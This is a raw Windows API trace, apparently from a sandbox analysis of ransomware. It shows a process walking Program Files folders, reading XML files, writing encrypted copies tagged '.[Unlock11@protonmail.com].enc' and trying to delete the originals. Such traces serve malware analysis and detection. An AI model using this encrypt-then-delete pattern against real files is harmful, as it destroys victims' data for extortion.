dwFlags=0x0, lpMem=0x36f8858 | out: hHeap=0x2ad0000) returned 1 [0123.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.061] GetLastError () returned 0x0 [0123.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.062] CloseHandle (hObject=0x3ac) returned 1 [0123.062] GetLastError () returned 0x0 [0123.062] GetCurrentThreadId () returned 0x9b0 [0123.063] GetLastError () returned 0x0 [0123.063] GetLastError () returned 0x0 [0123.063] CloseHandle (hObject=0x39c) returned 1 [0123.063] GetLastError () returned 0x0 [0123.063] GetCurrentThreadId () returned 0x9b0 [0123.063] GetLastError () returned 0x0 [0123.063] GetLastError () returned 0x0 [0123.063] GetLastError () returned 0x0 [0123.063] GetLastError () returned 0x0 [0123.063] GetLastError () returned 0x0 [0123.064] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0 [0123.064] GetLastError () returned 0x5 [0123.064] GetCurrentThreadId () returned 0x9b0 [0123.064] GetLastError () returned 0x5 [0123.064] GetLastError () returned 0x5 [0123.064] GetLastError () returned 0x5 [0123.064] GetLastError () returned 0x5 [0123.064] LocalFree (hMem=0x1053a70) returned 0x0 [0123.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.064] GetCurrentThreadId () returned 0x9b0 [0123.065] GetLastError () returned 0x5 [0123.065] GetLastError () returned 0x5 [0123.065] GetLastError () returned 0x5 [0123.065] GetLastError () returned 0x5 [0123.065] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0123.065] GetLastError () returned 0x5 [0123.065] GetCurrentThreadId () returned 0x9b0 [0123.065] GetLastError () returned 0x5 [0123.065] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.066] GetLastError () returned 0x5 [0123.066] GetCurrentThreadId () returned 0x9b0 [0123.066] GetLastError () returned 0x5 [0123.066] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0123.066] GetLastError () returned 0x5 [0123.066] GetCurrentThreadId () returned 0x9b0 [0123.066] GetLastError () returned 0x5 [0123.066] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0123.066] GetLastError () returned 0x12 [0123.066] GetCurrentThreadId () returned 0x9b0 [0123.066] GetLastError () returned 0x12 [0123.066] GetLastError () returned 0x12 [0123.066] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0123.067] GetLastError () returned 0x12 [0123.067] GetLastError () returned 0x12 [0123.067] GetLastError () returned 0x12 [0123.067] GetLastError () returned 0x12 [0123.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.067] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0123.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0123.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.068] GetCurrentThreadId () returned 0x9b0 [0123.068] GetLastError () returned 0x12 [0123.068] GetLastError () returned 0x12 [0123.068] GetLastError () returned 0x12 [0123.068] GetLastError () returned 0x12 [0123.068] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpFilePart=0x9bada4*="oskmenubase.xml") returned 0x58 [0123.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.068] GetCurrentThreadId () returned 0x9b0 [0123.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0123.069] GetLastError () returned 0x0 [0123.069] GetLastError () returned 0x0 [0123.069] GetLastError () returned 0x0 [0123.069] GetLastError () returned 0x0 [0123.069] GetCurrentThreadId () returned 0x9b0 [0123.069] GetLastError () returned 0x0 [0123.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0123.069] GetCurrentThreadId () returned 0x9b0 [0123.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetCurrentThreadId () returned 0x9b0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.070] GetLastError () returned 0x0 [0123.071] GetCurrentThreadId () returned 0x9b0 [0123.071] GetLastError () returned 0x0 [0123.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.071] GetLastError () returned 0x0 [0123.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.071] GetLastError () returned 0x0 [0123.071] GetLastError () returned 0x0 [0123.071] GetLastError () returned 0x0 [0123.071] GetCurrentThreadId () returned 0x9b0 [0123.071] GetLastError () returned 0x0 [0123.071] GetCurrentThreadId () returned 0x9b0 [0123.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0123.072] GetLastError () returned 0x0 [0123.072] GetLastError () returned 0x0 [0123.072] GetLastError () returned 0x0 [0123.072] GetLastError () returned 0x0 [0123.072] GetCurrentThreadId () returned 0x9b0 [0123.072] GetLastError () returned 0x0 [0123.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.072] GetLastError () returned 0x0 [0123.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0123.072] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] GetCurrentThreadId () returned 0x9b0 [0123.073] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] GetLastError () returned 0x0 [0123.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.073] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7)) returned 1 [0123.074] GetLastError () returned 0x0 [0123.074] GetCurrentThreadId () returned 0x9b0 [0123.074] GetLastError () returned 0x0 [0123.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0123.074] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0123.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0123.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.074] GetCurrentThreadId () returned 0x9b0 [0123.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0123.074] GetLastError () returned 0x0 [0123.075] GetLastError () returned 0x0 [0123.075] GetLastError () returned 0x0 [0123.075] GetLastError () returned 0x0 [0123.075] GetCurrentThreadId () returned 0x9b0 [0123.075] GetLastError () returned 0x0 [0123.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0123.075] GetCurrentThreadId () returned 0x9b0 [0123.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea940 [0123.075] GetLastError () returned 0x0 [0123.075] GetLastError () returned 0x0 [0123.076] GetLastError () returned 0x0 [0123.076] GetLastError () returned 0x0 [0123.076] GetCurrentThreadId () returned 0x9b0 [0123.076] GetLastError () returned 0x0 [0123.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea940 | out: hHeap=0x2ad0000) returned 1 [0123.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0123.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0123.076] GetLastError () returned 0x0 [0123.076] GetLastError () returned 0x0 [0123.076] GetLastError () returned 0x0 [0123.076] GetLastError () returned 0x0 [0123.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b48 [0123.077] GetLastError () returned 0x0 [0123.077] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.077] GetFileType (hFile=0x39c) returned 0x1 [0123.077] GetLastError () returned 0x0 [0123.077] GetCurrentThreadId () returned 0x9b0 [0123.077] GetLastError () returned 0x0 [0123.077] GetFileType (hFile=0x39c) returned 0x1 [0123.077] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.078] GetLastError () returned 0x0 [0123.078] GetCurrentThreadId () returned 0x9b0 [0123.078] GetLastError () returned 0x0 [0123.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b48 | out: hHeap=0x2ad0000) returned 1 [0123.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0123.078] GetLastError () returned 0x0 [0123.079] GetLastError () returned 0x0 [0123.079] GetLastError () returned 0x0 [0123.079] GetLastError () returned 0x0 [0123.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a28 [0123.079] GetLastError () returned 0x0 [0123.079] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.080] GetFileType (hFile=0x3ac) returned 0x1 [0123.080] GetLastError () returned 0x0 [0123.080] GetCurrentThreadId () returned 0x9b0 [0123.080] GetLastError () returned 0x0 [0123.080] GetFileType (hFile=0x3ac) returned 0x1 [0123.080] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.081] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.081] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.081] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.081] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.081] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.081] GetLastError () returned 0x0 [0123.081] GetCurrentThreadId () returned 0x9b0 [0123.081] GetLastError () returned 0x0 [0123.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a28 | out: hHeap=0x2ad0000) returned 1 [0123.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbd90 | out: hHeap=0x2ad0000) returned 1 [0123.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.081] GetLastError () returned 0x0 [0123.082] GetLastError () returned 0x0 [0123.082] GetCurrentThreadId () returned 0x9b0 [0123.082] GetLastError () returned 0x0 [0123.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.082] GetLastError () returned 0x0 [0123.082] GetLastError () returned 0x0 [0123.082] GetCurrentThreadId () returned 0x9b0 [0123.082] GetLastError () returned 0x0 [0123.082] GetLastError () returned 0x0 [0123.084] GetLastError () returned 0x0 [0123.084] GetCurrentThreadId () returned 0x9b0 [0123.084] GetLastError () returned 0x0 [0123.084] GetCurrentThreadId () returned 0x9b0 [0123.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1f5) returned 0x36f8548 [0123.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b48 [0123.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1f8) returned 0x2c305a0 [0123.084] GetLastError () returned 0x0 [0123.085] GetLastError () returned 0x0 [0123.085] GetLastError () returned 0x0 [0123.085] GetLastError () returned 0x0 [0123.085] GetCurrentThreadId () returned 0x9b0 [0123.085] GetLastError () returned 0x0 [0123.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c305a0 | out: hHeap=0x2ad0000) returned 1 [0123.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0123.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.086] GetLastError () returned 0x0 [0123.086] GetLastError () returned 0x0 [0123.086] GetCurrentThreadId () returned 0x9b0 [0123.086] GetLastError () returned 0x0 [0123.086] GetLastError () returned 0x0 [0123.086] GetLastError () returned 0x0 [0123.086] GetCurrentThreadId () returned 0x9b0 [0123.086] GetLastError () returned 0x0 [0123.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8748 | out: hHeap=0x2ad0000) returned 1 [0123.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.086] GetCurrentThreadId () returned 0x9b0 [0123.087] GetLastError () returned 0x0 [0123.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.088] CloseHandle (hObject=0x3ac) returned 1 [0123.088] GetLastError () returned 0x0 [0123.088] GetCurrentThreadId () returned 0x9b0 [0123.088] GetLastError () returned 0x0 [0123.088] GetLastError () returned 0x0 [0123.088] CloseHandle (hObject=0x39c) returned 1 [0123.088] GetLastError () returned 0x0 [0123.088] GetCurrentThreadId () returned 0x9b0 [0123.088] GetLastError () returned 0x0 [0123.089] GetLastError () returned 0x0 [0123.089] GetLastError () returned 0x0 [0123.089] GetLastError () returned 0x0 [0123.089] GetLastError () returned 0x0 [0123.089] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0 [0123.089] GetLastError () returned 0x5 [0123.089] GetCurrentThreadId () returned 0x9b0 [0123.089] GetLastError () returned 0x5 [0123.089] GetLastError () returned 0x5 [0123.090] GetLastError () returned 0x5 [0123.090] GetLastError () returned 0x5 [0123.090] LocalFree (hMem=0x1053c70) returned 0x0 [0123.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.090] GetLastError () returned 0x5 [0123.090] GetLastError () returned 0x5 [0123.090] GetLastError () returned 0x5 [0123.090] GetLastError () returned 0x5 [0123.090] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0123.090] GetLastError () returned 0x5 [0123.091] GetCurrentThreadId () returned 0x9b0 [0123.091] GetLastError () returned 0x5 [0123.091] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.091] GetLastError () returned 0x5 [0123.091] GetCurrentThreadId () returned 0x9b0 [0123.091] GetLastError () returned 0x5 [0123.091] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0123.091] GetLastError () returned 0x5 [0123.091] GetCurrentThreadId () returned 0x9b0 [0123.091] GetLastError () returned 0x5 [0123.091] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0123.091] GetLastError () returned 0x12 [0123.092] GetCurrentThreadId () returned 0x9b0 [0123.092] GetLastError () returned 0x12 [0123.092] GetLastError () returned 0x12 [0123.092] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0123.092] GetCurrentThreadId () returned 0x9b0 [0123.092] GetLastError () returned 0x12 [0123.092] GetLastError () returned 0x12 [0123.092] GetLastError () returned 0x12 [0123.092] GetLastError () returned 0x12 [0123.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.093] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0123.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a38 | out: hHeap=0x2ad0000) returned 1 [0123.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.093] GetCurrentThreadId () returned 0x9b0 [0123.093] GetLastError () returned 0x12 [0123.093] GetLastError () returned 0x12 [0123.093] GetLastError () returned 0x12 [0123.093] GetLastError () returned 0x12 [0123.093] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", lpFilePart=0x9bada4*="osknavbase.xml") returned 0x56 [0123.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.094] GetCurrentThreadId () returned 0x9b0 [0123.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.094] GetLastError () returned 0x0 [0123.094] GetLastError () returned 0x0 [0123.094] GetLastError () returned 0x0 [0123.094] GetLastError () returned 0x0 [0123.094] GetCurrentThreadId () returned 0x9b0 [0123.095] GetLastError () returned 0x0 [0123.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaa8 [0123.095] GetCurrentThreadId () returned 0x9b0 [0123.095] GetLastError () returned 0x0 [0123.095] GetLastError () returned 0x0 [0123.095] GetLastError () returned 0x0 [0123.095] GetLastError () returned 0x0 [0123.095] GetCurrentThreadId () returned 0x9b0 [0123.095] GetLastError () returned 0x0 [0123.095] GetLastError () returned 0x0 [0123.096] GetLastError () returned 0x0 [0123.096] GetLastError () returned 0x0 [0123.096] GetLastError () returned 0x0 [0123.096] GetCurrentThreadId () returned 0x9b0 [0123.096] GetLastError () returned 0x0 [0123.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaaa8 | out: hHeap=0x2ad0000) returned 1 [0123.096] GetLastError () returned 0x0 [0123.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0123.096] GetLastError () returned 0x0 [0123.096] 